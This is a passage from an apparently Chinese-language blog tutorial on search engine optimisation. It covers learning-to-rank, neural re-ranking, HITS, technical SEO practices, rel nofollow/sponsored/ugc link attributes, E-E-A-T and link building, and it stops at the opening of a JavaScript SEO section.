&lt;blockquote&gt;
&lt;p&gt;今天的链接权威性，综合了&lt;strong&gt;相关性、上下文、编辑价值和用户真实反馈&lt;/strong&gt;的复杂评分。它远比PageRank更难被操纵，但也因此，&lt;strong&gt;对那些真正创造高质量、专业内容的创作者更加公平&lt;/strong&gt;，希望各位看到这段后，不再去试图以各种途径来和SEO斗智斗勇，酒香不怕巷子深，把内容质量写好才是第一位&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;3.4 现代排序核心：学习排序 &lt;code&gt;Learning to Rank&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;LTR&lt;/code&gt;是现代搜索引擎精排阶段的关键技术。它把排序问题转化为机器学习问题，依靠大量特征和训练模型来决定页面排名。&lt;br /&gt;
常见的LTR模型有基于树的模型（如&lt;code&gt;Gradient Boosting Decision Trees, GBDT&lt;/code&gt;）和神经网络模型&lt;/p&gt;
&lt;p&gt;:::blue[EXAMPLE]
&lt;strong&gt;查询&lt;/strong&gt;：&lt;em&gt;Arch Linux 安装后要做什么&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LTR模型会考量哪些特征（简单举例）&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;BM25得分&lt;/strong&gt;：衡量页面内容和查询的字面匹配度&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;外链特征&lt;/strong&gt;：页面是否有来自Arch Linux官方论坛、知名技术博客的外部链接？这些链接的锚文本是什么？&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用户行为信号&lt;/strong&gt;：当这篇文章出现在搜索结果中时，它的历史点击率是多少？用户点击进来后，平均停留了多长时间？是很快就返回(&lt;code&gt;Pogo-sticking&lt;/code&gt;），还是看完了再走(&lt;code&gt;Long Click&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内容质量特征&lt;/strong&gt;：文章是否详细、有深度？是否提供了清晰的代码示例？是否图文并茂？是否体现了作者的真实经验&lt;code&gt;E-E-A-T&lt;/code&gt;？
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;工作机制&lt;/strong&gt;：
LTR模型通过学习海量的&lt;code&gt;查询-文档-用户反馈&lt;/code&gt;数据，自动为这数百个特征分配权重，最终输出一个综合相关性分数&lt;br /&gt;
它能理解，对于这个查询，用户可能更看重&lt;code&gt;提供具体解决方案&lt;/code&gt;这个特征，而不是&lt;code&gt;外链数量&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;3.5 神经重排 &lt;code&gt;Neural Re-ranking&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;这是最先进的技术之一，使用深度学习模型（如&lt;code&gt;Transformer&lt;/code&gt;, &lt;code&gt;BERT&lt;/code&gt;）来进行更精细的语义匹配，超越了简单的关键词匹配&lt;/p&gt;
&lt;p&gt;:::blue[EXAMPLE]
&lt;strong&gt;查询&lt;/strong&gt;：&lt;em&gt;舞萌DX怎么快速提升Rating&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;神经重排如何理解&lt;/strong&gt;：
&lt;strong&gt;传统方法&lt;/strong&gt;：可能会寻找包含&quot;舞萌DX&quot;、&quot;快速&quot;、&quot;提升&quot;、&quot;Rating&quot;这些词的文章&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;神经模型&lt;/strong&gt;：它能理解这个查询的&lt;strong&gt;深层意图&lt;/strong&gt;是&quot;寻找高效的上分技巧&quot;&lt;br /&gt;
因此，它不仅会返回标题匹配的文章，还会高度评价一篇标题为 &lt;em&gt;舞萌水歌吃分推荐&lt;/em&gt; 的文章，即使这篇文章里压根没出现&quot;快速提升&quot;这四个字。因为它从语义层面理解了&quot;水歌吃分&quot;就是对&quot;快速提升Rating&quot;这个问题的绝佳答案
:::&lt;/p&gt;
&lt;h2&gt;4. 排名算法&lt;/h2&gt;
&lt;p&gt;除了上述模型，还有一些经典算法族系值得了解，它们共同构成了搜索引擎的算法核武库&lt;/p&gt;
&lt;h3&gt;4.1 经典算法：BM25 &amp;amp; TF-IDF&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;已在3.2节详细介绍，TF-IDF是BM25的基础，核心思想是通过词频和逆文档频率来评估词语重要性&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;4.2 HITS&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;Hyperlink-Induced Topic Search&lt;/code&gt;与PageRank不同，HITS是查询相关的。它将页面分为两类：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;汇聚点&lt;code&gt;Hub&lt;/code&gt;&lt;/strong&gt;：一个高质量的Hub页面，是链接到多个相关权威页面的资源列表页&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;权威点&lt;code&gt;Authority&lt;/code&gt;&lt;/strong&gt;：一个高质量的Authority页面，是被多个相关Hub页面链接的官方或最终内容页&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::blue[EXAMPLE]
&lt;strong&gt;查询&lt;/strong&gt;：&lt;em&gt;OpenWrt 固件下载&lt;/em&gt;&lt;br /&gt;
&lt;strong&gt;权威页&lt;/strong&gt;：OpenWrt官方固件下载页面&lt;br /&gt;
&lt;strong&gt;Hub页 (Hub)&lt;/strong&gt;：一篇 &lt;em&gt;OpenWrt从入门到精通&lt;/em&gt; 的博客文章，其中一部分列出并链接了官方固件下载页、LEDE固件下载页、以及几个知名的第三方编译固件的GitHub页面，那么此文章就是一个高质量的Hub页
:::&lt;/p&gt;
&lt;h3&gt;4.3 LTR&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;已在3.4节作为现代排序核心详细介绍&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;4.4 深度学习&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;已在3.5节作为语义匹配前沿技术详细介绍，其核心是利用BERT等模型进行深层语义理解&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;5. 结果展示&lt;/h2&gt;
&lt;p&gt;一个好的搜索结果展示能极大提升点击率&lt;/p&gt;
&lt;h3&gt;5.1 标题&lt;/h3&gt;
&lt;p&gt;:::blue[EXAMPLE]
&lt;strong&gt;差&lt;/strong&gt;：OpenWrt&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;爆赞&lt;/strong&gt;：[2025] OpenWrt路由器超详细配置指南
:::&lt;/p&gt;
&lt;h3&gt;5.2 摘要&lt;/h3&gt;
&lt;p&gt;摘要是显示在标题下方的简短描述。搜索引擎会自动抓取它认为最相关的部分。&lt;/p&gt;
&lt;h3&gt;5.3 URL 和面包屑导航 &lt;code&gt;Breadcrumb Navigation&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;清晰的URL结构和面包屑导航能帮助用户和搜索引擎理解页面在网站中的位置&lt;/p&gt;
&lt;p&gt;:::blue[EXAMPLE]&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;URL&lt;/strong&gt;：&lt;code&gt;.../guides/openwrt/openclash/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;面包屑&lt;/strong&gt;：&lt;code&gt;首页 &amp;gt; 指南 &amp;gt; OpenWrt &amp;gt; OpenClash配置教程&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;建议使用&lt;code&gt;BreadcrumbList&lt;/code&gt; Schema.org结构化数据来标记你的面包屑导航，有机会让它直接显示在搜索结果中。
&lt;code&gt;json         {           &quot;@context&quot;: &quot;https://schema.org&quot;,           &quot;@type&quot;: &quot;BreadcrumbList&quot;,           &quot;itemListElement&quot;: [{             &quot;@type&quot;: &quot;ListItem&quot;,             &quot;position&quot;: 1,             &quot;name&quot;: &quot;指南&quot;,             &quot;item&quot;: &quot;/guides&quot;           },{             &quot;@type&quot;: &quot;ListItem&quot;,             &quot;position&quot;: 2,             &quot;name&quot;: &quot;OpenWrt&quot;,             &quot;item&quot;: &quot;/guides/openwrt&quot;           }]         }         &lt;/code&gt;
:::&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h3&gt;6. 技术性SEO&lt;/h3&gt;
&lt;p&gt;技术性SEO旨在优化网站的技术结构，确保搜索引擎能够顺利地抓取、渲染和索引，优化用户体验&lt;/p&gt;
&lt;h3&gt;6.1 抓取与索引优化指南&lt;/h3&gt;
&lt;h4&gt;6.1.1 robots.txt 审计&lt;/h4&gt;
&lt;p&gt;定期审计&lt;code&gt;robots.txt&lt;/code&gt;文件，确保没有误阻止重要内容的抓取。&lt;/p&gt;
&lt;p&gt;:::blue[EXAMPLE]
假设你的网站是用React或Vue构建的SPA应用，JS文件至关重要。如果你在&lt;code&gt;robots.txt&lt;/code&gt;中错误地加入了&lt;code&gt;Disallow: /assets/js/&lt;/code&gt;，那么爬虫将无法加载和渲染你的页面，导致只能看到一个空白页
:::&lt;/p&gt;
&lt;h4&gt;6.1.2 noindex 标签的精确使用&lt;/h4&gt;
&lt;p&gt;对低质量页面（如搜索结果页、重复内容页、标签聚合页等）使用&lt;code&gt;noindex&lt;/code&gt;，可以集中抓取预算和页面权重
:::blue[EXAMPLE]
你的博客可能有很多标签页，比如&lt;code&gt;/tags/openwrt&lt;/code&gt;。如果这个页面只是简单地列出相关文章的标题，而没有独特的原创内容，它就属于低质量页面。&lt;br /&gt;
为这类页面添加&lt;code&gt;&amp;lt;meta name=&quot;robots&quot; content=&quot;noindex, follow&quot;&amp;gt;&lt;/code&gt;，意味着告诉Google：别索引这个列表页，但你可以顺着它上面的链接去抓取那些有价值的文章
:::&lt;/p&gt;
&lt;h4&gt;6.1.3 站点地图的维护&lt;/h4&gt;
&lt;p&gt;确保站点地图是动态生成的，并且只包含你希望被抓取的规范化URL
:::blue[EXAMPLE]
当你发布一篇 &lt;em&gt;浅谈xi的World Fragment专辑&lt;/em&gt; 后，你的站点地图生成脚本应能自动将这个新URL加入&lt;code&gt;sitemap.xml&lt;/code&gt;，并更新&lt;code&gt;&amp;lt;lastmod&amp;gt;&lt;/code&gt;时间。&lt;br /&gt;
然后，你可以通过&lt;code&gt;Google Search Console&lt;/code&gt;的站点地图功能，主动通知Google有新的内容需要抓取
:::&lt;/p&gt;
&lt;h4&gt;6.1.4 监控抓取统计报告&lt;/h4&gt;
&lt;p&gt;在Google Search Console中定期查看&lt;code&gt;设置 &amp;gt; 抓取统计信息&lt;/code&gt;报告，关注404错误和5xx服务器错误
:::blue[EXAMPLE]
如果你在报告中发现&lt;code&gt;服务器连接错误&lt;/code&gt;的提醒，这表明你的服务器可能存在性能问题或炸了。你应立即排查服务器问题，因为持续的报错会导致Google降低对你网站的抓取频率
:::&lt;/p&gt;
&lt;h3&gt;6.2 网站性能优化 &lt;code&gt;Core Web Vitals&lt;/code&gt;&lt;/h3&gt;
&lt;h4&gt;Largest Contentful Paint / LCP&lt;/h4&gt;
&lt;p&gt;衡量页面主要可见内容加载的时间。
:::blue[EXAMPLE]
你的Arch Linux教程文章中，通常最大的元素是顶部的头图或截图。你需要确保这张图片被压缩，并且没有被其他CSS或JS文件阻塞加载。可以考虑为这张关键图片使用&lt;code&gt;&amp;lt;link rel=&quot;preload&quot;&amp;gt;&lt;/code&gt;来提升加载优先级&lt;br /&gt;
可以考虑把图片压缩为Webp/avif来显著降低大小以优化加载速度
:::&lt;/p&gt;
&lt;h4&gt;INP / Interaction to Next Paint&lt;/h4&gt;
&lt;p&gt;测量用户与页面交互的响应时间。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;INP已于2024年3月正式取代FID&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;:::blue[EXAMPLE]
你的网站有一个复杂的、用JavaScript实现的曲目搜索筛选器。当用户点击一个筛选按钮时，如果JS需要进行大量计算导致页面卡顿超过200毫秒，INP指标就会变差&lt;br /&gt;
优化方法包括：将长任务拆分成小块、对筛选逻辑进行算法优化(视你的实际情况而定)
:::&lt;/p&gt;
&lt;h4&gt;CLS / Cumulative Layout Shift&lt;/h4&gt;
&lt;p&gt;测量页面内容的视觉稳定性
:::blue[EXAMPLE]
你的文章页面在加载过程中，顶部加载一个广告横幅，但是他的加载速度比正文慢。当广告加载出来时，会将下方的正文内容推下去，导致用户正在阅读的文字位置发生跳动。&lt;br /&gt;
这就是典型的CLS问题。解决方案是：在广告位容器上预先设置明确的&lt;code&gt;width&lt;/code&gt;和&lt;code&gt;height&lt;/code&gt;属性，即使广告还没加载，也先占好位置
:::&lt;/p&gt;
&lt;h3&gt;6.3 结构化数据 &lt;code&gt;Schema Markup&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;通过使用Schema.org标准，可以帮助搜索引擎更好地理解你的网页内容&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;基础部署&lt;/strong&gt;：为文章、博客、组织信息等添加标记&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;争取富媒体摘要&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::blue[EXAMPLE]
在 &lt;em&gt;OpenWrt配置指南&lt;/em&gt; 文末，有FAQ部分
&lt;code&gt;json         {           &quot;@context&quot;: &quot;https://schema.org&quot;,           &quot;@type&quot;: &quot;FAQPage&quot;,           &quot;mainEntity&quot;: [{             &quot;@type&quot;: &quot;Question&quot;,             &quot;name&quot;: &quot;旁路由模式下如何避免DHCP冲突？&quot;,             &quot;acceptedAnswer&quot;: {               &quot;@type&quot;: &quot;Answer&quot;,               &quot;text&quot;: &quot;核心是关闭旁路由的DHCP功能，并将其网关指向主路由...&quot;             }           }]         }         &lt;/code&gt;&lt;/p&gt;
&lt;p&gt;部署后，搜索结果下方有可能直接出现这个问答，吸引用户点击
:::&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;6.4 精通 &lt;code&gt;nofollow&lt;/code&gt;, &lt;code&gt;sponsored&lt;/code&gt;, &lt;code&gt;ugc&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;引流当然重要，但同样重要的是，我们也需要一个&lt;strong&gt;阀门&lt;/strong&gt;来精确控制我们网站的权重&lt;strong&gt;如何流出&lt;/strong&gt;，以及如何向搜索引擎表明我们与其他网站链接的&lt;strong&gt;性质&lt;/strong&gt;&lt;br /&gt;
这就是&lt;code&gt;rel&lt;/code&gt;属性中&lt;code&gt;nofollow&lt;/code&gt;、&lt;code&gt;sponsored&lt;/code&gt;和&lt;code&gt;ugc&lt;/code&gt;这三个值的用武之地&lt;/p&gt;
&lt;h4&gt;6.4.1 Link Relationship Attributes&lt;/h4&gt;
&lt;p&gt;最初只有&lt;code&gt;rel=&quot;nofollow&quot;&lt;/code&gt;主要是为了解决博客评论区的垃圾链接泛滥问题。站长们用它来告诉搜索引擎：&quot;&lt;strong&gt;不要追踪这个链接，不要将我的页面权重传递给它，我不对这个链接的内容背书&lt;/strong&gt;&quot;&lt;/p&gt;
&lt;p&gt;然而，一个简单的&lt;code&gt;nofollow&lt;/code&gt;无法区分链接的动机。因此，在2019年，Google引入了两个更具体的属性，将&lt;code&gt;nofollow&lt;/code&gt;的职责细分了：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;rel=&quot;sponsored&quot;&lt;/code&gt;：明确用于标记&lt;strong&gt;付费链接&lt;/strong&gt;，如广告、赞助商内容&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rel=&quot;ugc&quot;&lt;/code&gt;：明确用于标记&lt;strong&gt;用户生成内容 &lt;code&gt;User Generated Content&lt;/code&gt;&lt;/strong&gt;，如博客评论、论坛帖子&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rel=&quot;nofollow&quot;&lt;/code&gt;：现在作为一种通用的、当你不想为某个链接背书，但它又不属于&lt;code&gt;sponsored&lt;/code&gt;或&lt;code&gt;ugc&lt;/code&gt;类别时的备用选项&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Google现在将这三个属性视为&lt;strong&gt;提示&lt;/strong&gt;而非&lt;strong&gt;指令&lt;/strong&gt;&lt;br /&gt;
这意味着，在某些情况下（比如为了更好地发现内容），Google&lt;em&gt;可能&lt;/em&gt;会选择追踪一个&lt;code&gt;nofollow&lt;/code&gt;链接，但它&lt;strong&gt;仍然不会传递排名权重&lt;/strong&gt; &lt;em&gt;PageRank&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;:::blue[防止评论区被滥用，防止外链污染]
你的 &lt;em&gt;Arch Linux安装指南&lt;/em&gt; 下方开放了评论区。很快，一些垃圾账号开始发布评论，内容是&quot;非常好文章！看看我的&quot;，并附上了指向低质量、甚至博彩网站的链接&lt;/p&gt;
&lt;p&gt;如果你不加处理，你的高质量页面就相当于在投票给这些垃圾网站。这不仅会&lt;strong&gt;稀释你自身的页面权重&lt;/strong&gt;，还可能因为链接到不良邻居而受到搜索引擎的惩罚，这就是&lt;strong&gt;外链污染&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这里可能会有不仔细看的人会问啊：啊Chongxi你不是说PageRank被弃用了吗。对，传统意义上的PageRank确实弃用了，但是他的思想被传承下来了，这种投票机制依旧存在，不过算法更加严格&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;解决方案&lt;/strong&gt;&lt;br /&gt;
为所有评论区用户提交的链接，自动添加&lt;code&gt;rel=&quot;ugc&quot;&lt;/code&gt;
&lt;code&gt;html     &amp;lt;!-- 用户在评论中留下的链接 --&amp;gt;     &amp;lt;a href=&quot;http://spam-site.xice.cx&quot; rel=&quot;ugc&quot;&amp;gt;非常好文章！看看我的&amp;lt;/a&amp;gt;     &lt;/code&gt;
这通常由你的后端或CMS系统（如WordPress）在渲染用户评论时自动完成。你需要确保你的系统有这个功能。对于自己开发博客的你来说，就是在处理用户输入的Markdown或HTML并将其渲染到前端时，用一个过滤器给所有的&lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt;标签加上&lt;code&gt;rel=&quot;ugc&quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ugc&lt;/code&gt;和&lt;code&gt;nofollow&lt;/code&gt;可以组合使用：
为了兼容其他可能不完全理解&lt;code&gt;ugc&lt;/code&gt;的搜索引擎，最佳实践是同时使用两者：
&lt;code&gt;html     &amp;lt;a href=&quot;http://spam-site.xice.cx&quot; rel=&quot;ugc nofollow&quot;&amp;gt;非常好文章，即使是我也感到心潮澎湃&amp;lt;/a&amp;gt;     &lt;/code&gt;
:::&lt;/p&gt;
&lt;p&gt;:::blue[建立商业诚信，标明付费链接]
一家知名的路由器硬件厂商联系你，希望在你的 &lt;em&gt;出厂OpenWrt硬件推荐&lt;/em&gt; 一文中，付费购买一个指向他们最新款路由器的链接&lt;/p&gt;
&lt;p&gt;根据Google的网站管理员指南，任何以影响搜索排名为目的的付费链接，都必须明确声明。如果你收了钱，却让这个链接看起来像一个自然的编辑推荐链接（即没有&lt;code&gt;rel&lt;/code&gt;属性的&quot;dofollow&quot;链接），一旦被Google发现，你的网站可能会受到严厉的**手动操作惩罚 **，导致排名暴跌甚至从搜索结果中消失&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;解决方案&lt;/strong&gt;：为这个付费链接添加&lt;code&gt;rel=&quot;sponsored&quot;&lt;/code&gt;
&lt;code&gt;html     &amp;lt;a href=&quot;http://yoanshen.com/ganshenme&quot; rel=&quot;sponsored&quot;&amp;gt;点击购买最新最热路由器&amp;lt;/a&amp;gt;     &lt;/code&gt;
这不仅仅是一个SEO技术问题，而是一个&lt;strong&gt;商业诚信&lt;/strong&gt;问题。明确标记付费合作，既遵守了搜索引擎的规则，也维护了你和读者之间的信任
:::&lt;/p&gt;
&lt;p&gt;:::blue[精细化你的内部链接策略]&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;观前提醒，这个比较有争议性&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;你的博客侧边栏有一个登录/注册页面的链接。这个链接会出现在你网站的&lt;strong&gt;每一个页面&lt;/strong&gt;上&lt;/p&gt;
&lt;p&gt;一些SEO专家过去认为，像&quot;登录&quot;、&quot;关于我们&quot;、&quot;隐私政策&quot;这类对排名没有帮助的页面，不应该从你的高质量文章中获得权重。因此，他们会给这些内部链接加上&lt;code&gt;rel=&quot;nofollow&quot;&lt;/code&gt;，试图将权重雕刻或引导到更重要的产品或文章页面&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;```html
&amp;lt;!-- 传统做法，现在已不推荐 --&amp;gt;
&amp;lt;a href=&quot;/login&quot; rel=&quot;nofollow&quot;&amp;gt;登录&amp;lt;/a&amp;gt;
```
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;这种做法现在已经过时且无效了&lt;/strong&gt;，Google已经明确表示，当一个页面上的链接被加上&lt;code&gt;nofollow&lt;/code&gt;后，它对应的PageRank会&lt;strong&gt;直接蒸发&lt;/strong&gt;，而&lt;strong&gt;不会&lt;/strong&gt;被重新分配给该页面上其他&quot;dofollow&quot;的链接&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;正确做法&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;不要对内部链接使用&lt;code&gt;nofollow&lt;/code&gt;来试图控制权重流向&lt;/strong&gt;。这只会浪费你本应在站内循环的权重&lt;/li&gt;
&lt;li&gt;对于那些你认为不重要、不希望被索引的内部页面（如登录页、复杂的筛选结果页），正确的做法是使用&lt;code&gt;robots.txt&lt;/code&gt;阻止抓取，或者使用&lt;code&gt;&amp;lt;meta name=&quot;robots&quot; content=&quot;noindex&quot;&amp;gt;&lt;/code&gt;来阻止索引
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;何时使用，如何选择&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;属性组合&lt;/th&gt;
&lt;th&gt;使用场景&lt;/th&gt;
&lt;th&gt;核心目的&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;rel=&quot;sponsored&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;广告、赞助文章、付费评测等任何你因金钱交易而放置的链接&lt;/td&gt;
&lt;td&gt;保持商业诚信。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;rel=&quot;ugc&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;博客评论、论坛帖子、用户签名等所有由用户生成的内容中的链接&lt;/td&gt;
&lt;td&gt;防止链接污染，保护网站声誉&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;rel=&quot;nofollow&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;当你链接到一个网站，但完全不想为之背书，且它不属于&lt;code&gt;sponsored&lt;/code&gt;或&lt;code&gt;ugc&lt;/code&gt;时。这是个通用备选项。&lt;/td&gt;
&lt;td&gt;声明中立，不传递PageRank&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;不使用任何属性&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;（默认的&quot;dofollow&quot;链接）&lt;/strong&gt; 当你真心实意地推荐一个高质量、相关的外部资源时&lt;/td&gt;
&lt;td&gt;传递权重，为互联网贡献价值，建立关系&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;7.内容优化 &lt;code&gt;Content Optimization&lt;/code&gt;&lt;/h2&gt;
&lt;h3&gt;7.1 关键词研究与主题建模&lt;/h3&gt;
&lt;h4&gt;7.1.1 从关键词转向主题&lt;/h4&gt;
&lt;p&gt;围绕一个核心主题，构建&lt;code&gt;支柱页面 + 集群内容&lt;/code&gt;的网状结构&lt;/p&gt;
&lt;h4&gt;7.1.2 分析搜索意图&lt;/h4&gt;
&lt;p&gt;通过查看SERP，分析用户搜索某个词时，是想找教程（信息型），还是想找官方网站（导航型）&lt;/p&gt;
&lt;h3&gt;7.2 E-E-A-T&lt;/h3&gt;
&lt;p&gt;E-E-A-T代表&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Experience - 经验&lt;br /&gt;
Expertise - 专业性&lt;br /&gt;
Authoritativeness - 权威性&lt;br /&gt;
Trustworthiness - 可信度&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;7.2.1 作者身份展示 E-T&lt;/h4&gt;
&lt;p&gt;在文章旁或文末提供作者简介，链接到作者的GitHub、技术博客或社交媒体，展示其在相关领域的经验&lt;/p&gt;
&lt;h4&gt;7.2.2 经验具象化 E&lt;/h4&gt;
&lt;p&gt;:::blue[EXAMPLE]
写一篇关于 &lt;em&gt;评价舞萌DX中xi的Glorious Crown&lt;/em&gt; 的文章。与其只用文字描述，不如：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;嵌入&lt;strong&gt;你自己录制在视频网站上的&lt;/strong&gt;手元视频链接&lt;/li&gt;
&lt;li&gt;贴上&lt;strong&gt;你自己的&lt;/strong&gt;成绩图&lt;/li&gt;
&lt;li&gt;分享一个别人没提过的冷知识：&quot;其实这首曲目在maimai中标的BPM不对，准确应该是225.555555555，这也解释了为什么这首曲目DX分比较难抓，因为BPM不准确导致了偏移，个人猜测可能是xi作曲时编曲器BPM有误差&quot;
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;7.2.3 权威性与可信度的构建 A-T&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;引用权威来源&lt;/strong&gt;：在你的Arch Linux教程中提到某个配置时，链接到Arch Wiki的对应页面&lt;br /&gt;
&lt;strong&gt;专家审阅&lt;/strong&gt;：如果你的OpenWrt教程请了另一位网络领域大肘子审阅勘误，可以在文章开头注明：&quot;本文由xx指导以确保技术准确性&quot;&lt;/p&gt;
&lt;h2&gt;8.权威性建设&lt;/h2&gt;
&lt;p&gt;权威性的核心是通过外部链接&lt;code&gt;Backlinks&lt;/code&gt;来提高网站的信誉度&lt;/p&gt;
&lt;h3&gt;8.1 现代链接建设策略&lt;/h3&gt;
&lt;h4&gt;8.1.1 创作可链接资产 &lt;code&gt;Linkable Assets&lt;/code&gt;：&lt;/h4&gt;
&lt;p&gt;:::blue[EXAMPLE]
你可以创建一个&lt;strong&gt;在线工具&lt;/strong&gt;：&quot;&lt;strong&gt;舞萌DX Rating 计算器&lt;/strong&gt;&quot;，用户输入相关信息来计算单曲Rating，这种实用工具是天然的链接磁石
:::&lt;/p&gt;
&lt;h4&gt;8.1.2 数字公关 &lt;code&gt;Digital PR&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;:::blue[EXAMPLE]
你写了一篇关于 &lt;em&gt;Samsung One UI8使用评测&lt;/em&gt;，包含详尽的测试数据。你可以将这篇报告主动发给一些知名的科技媒体或极客，他们很可能会引用你的数据和文章
:::&lt;/p&gt;
&lt;h4&gt;修复死链&lt;/h4&gt;
&lt;p&gt;:::blue[EXAMPLE]
你要把blog从Astro迁移到Hexo，但是迁移后发现根目录不对且搜索引擎仍引用旧链接，用户在搜索引擎中访问变成404。你需要设定301重定向把旧的链接301至新的，否则可能会因为大面积的404瘫痪导致SEO评分降低
:::&lt;/p&gt;
&lt;h3&gt;8.2 站外声誉与品牌信号建设&lt;/h3&gt;
&lt;h4&gt;8.2.1 建立品牌实体&lt;/h4&gt;
&lt;p&gt;确保你的品牌（你的博客名或你的名字）在主流知识平台和行业目录中有清晰、一致的条目&lt;/p&gt;
&lt;h4&gt;8.2.2 管理第三方评价&lt;/h4&gt;
&lt;p&gt;如果你的内容涉及到工具或服务，鼓励用户在相关平台发表积极评价&lt;/p&gt;
&lt;h4&gt;8.2.3 参与行业社群&lt;/h4&gt;
&lt;p&gt;在Reddit的&lt;code&gt;r/openwrt&lt;/code&gt;或&lt;code&gt;r/archlinux&lt;/code&gt;子版块，或者在V2EX等技术社区，积极回答他人问题，并在适当的时候附上你文章的链接作为参考
&lt;strong&gt;记住：先贡献价值，再推广内容&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;9. JavaScript SEO&lt;/h2&gt;
&lt;p&gt;对于现代前端框架的学习，JS SEO是必修课。一个在用户浏览器里看起来华丽的SPA，在搜索引擎爬虫眼里可能只是一个空白的&lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;，我们需要学会确保我们的华丽能被机器正确理解&lt;/p&gt;
&lt;h3&gt;9.1 CSR &amp;amp; SSR &amp;amp; SSG&lt;/h3&gt;
&lt;p&gt;首先，我们要理解Google爬虫&lt;code&gt;Googlebot&lt;/code&gt;是如何处理JavaScript的。它有一个叫做&lt;strong&gt;网页渲染服务&lt;code&gt;Web Rendering Service&lt;/code&gt;&lt;/strong&gt; 的组件，本质上是一个无头浏览器。抓取流程分为两波：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;第一波&lt;/strong&gt;：Googlebot抓取你的原始HTML，如果内容都在HTML里，它会立刻被送去索引&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第二波&lt;/strong&gt;：如果页面需要JS来生成内容，这个页面会被放入一个渲染队列。几天甚至几周后，WRS才会执行JS，渲染出最终的DOM，然后将渲染后的HTML送去索引&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;9.1.1 客户端渲染 &lt;code&gt;Client-Side Rendering&lt;/code&gt;&lt;/h4&gt;
